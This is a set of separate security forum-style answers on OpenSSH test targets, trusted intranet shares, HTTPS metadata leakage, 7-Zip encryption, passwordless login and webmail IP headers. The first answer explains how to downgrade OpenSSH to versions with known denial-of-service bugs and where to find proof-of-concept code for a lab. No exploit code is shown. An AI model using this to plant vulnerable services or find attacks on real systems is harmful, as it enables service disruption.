I'd recommend looking for non-recent versions of OpenSSH in your search. Since it's a relatively well maintained library, if there's any known exploits, they've likely already been patched. However if you look through the CVE list for working DOS methods on older OpenSSH versions, you'll be able to access all those nasty bugs that have already been patched! Both Yum and APT allow you to downgrade packages and as far as I know, neither operating system has any dependencies of the library in terms of versioning (I've never actually tried downgrading OpenSSH, but I'm fairly certain it has no upstream dependencies preventing you from doing so). Once you find a CVE and version for you, just google the "CVE-Number-Here POC" and you'll likely find some code for it.

SIDE NOTE

Please for the love of God run this on an internal network where it cannot be accessed from the Internet. You may not think you're at any risk exposing yourself like that, but you definitely are.


Adding network drive to trusted intranet sites security hole?

This error dialog is there to make users aware of the potentially dangerous source from where the file comes.

When you say

  [B]ut currently, a user would just click run or open in the dialog box and the files in question would run or open.

this defies the reason for that warning to appear, so adding this as a trusted source is not decreasing security if what you say is true for all users.

Nonetheless, there are some assumptions that come with your setup:

all people with access are trustworthy and
the fileserver is sufficiently secured

If a rogue employee drops malicious code, no one gets a warning beforehand, so users might be inclined to execute macros, for example.

If an external attacker gains access to this file server (for example pivoting from an compromised endpoint), this would defy network segregation if the fileserver serves multiple segments (for example because it is the share for exchange between divisions).

Additionally, there might be implications for the endpoint security solution you are using - a trusted source might not be scanned. This depends on the actual product and settings, though.

You might also want to consider not having the share active all the time to contain ransomware damages to the local, infected, endpoint - even with a good backup strategy, there is cost to restoring from a backup.


Which parts of an HTTPS connection can be revealed?

The hostname is transmitted in the clear.  This is because HTTPS is a tunnel established after a connection to the server.  The hostname is available for an eavesdropper to snoop in a number of ways:

You will perform a DNS lookup and that is always in the clear;
There is a TCP connection to the IP address returned by the DNS for google.com;
In the case of SNI, the HTTPS request will include the hostname;
As part of the TLS handshake, the server will supply the certificate in plaintext which contains the hostname.

The rest of the url, which includes any parameters, is not transmitted in the clear, so it is not subject to eavesdropping. All headers, including the cookies, are also transmitted encrypted.  The attacker can however see the size of any communications and potentially draw conclusions from that.


Are 7-Zip password-protected split archives safe against hackers when they are password-protected a couple of times?

First of all, that multi-encryption scheme is ridiculous.

The algorithm used by 7-Zip is AES-256 which is considered secure. But if someone would find a flaw in it which would make it breakable, then they would likely be able to break all your encryption layers with equal effort.

So either you trust the encryption algorithm used by 7-Zip, then one application would be good enough. Or you don't trust it, then you would do another encryption pass with a different algorithm. Layering the same algorithm multiple times often doesn't have as much effect as one would think, as the meet-in-the-middle attack on Triple-DES demonstrated.

Regarding splitting up an encrypted file: It is often possible to rescue some data from a 7-Zip archive if parts of the archive are missing. 7-Zip uses AES in CBC mode to emulate stream-cipher behavior (every 128-bit block is combined with the previous 128 bit block). That means if someone is missing a part of the message, they can't decrypt anything which follows (unless they have a known plaintext somewhere), but everything which comes before it. That means if you want to prevent an attacker from decrypting the archive by withholding a part of it, you need to withhold the first chunk, not the last one.


Password-less authentication in web apps - How safe it is?

As always, the choice of the authentication scheme mainly depends on what you need to protect and the kind of public you will receive.

As "I forgot my password" link mentioned in the comments is a good example. By the past, for certain non-important websites, I used such links on a systematic basis to open a session:

Click on the "I forgot my password" link
Get the email allowing to reset the password,
If actually required, reset the password to some long random string.

By this way, the security of the access to this site was dependent of the security of my mailbox. I did not have any password to remember, and the password recorded in this site's database was unique.

This procedure seems like dirty-version of the procedure you present in your question.

Regarding security, this works as long as:

The authentication source (email, phone, ...) is not compromised,
The long-lived token is not compromised.

For a non-important website, when such authentication scheme is correctly implemented, it could be more secured than allowing users to use some silly password already used on a dozen of other websites.

For a website dealing with sensitive data, the user must be in measure to prove his identity. Therefore the usage of a secret password only known by the user seems mandatory in order to proceed with a normal authentication. The usage of email / SMS should remain exceptional as a password reset procedure or as a second factor authentication.

Regarding usability, it would be better to keep such authentication scheme as optional, since some users may prefer to use passwords safes or other kind of password generators to handle their passwords and will not be able to act as they will with your authentication scheme (links provided are just sample of such software).


Years ago, many webmail services (such as Hotmail and Yahoo Mail) used to include a X-Originating-Ip header in outgoing messages, which indicated IP address that the sender was using to connect to the webmail service to send the message.  But, most of those services either encode this header now, or no longer include it.  See https://en.wikipedia.org/wiki/X-Originating-IP for more info.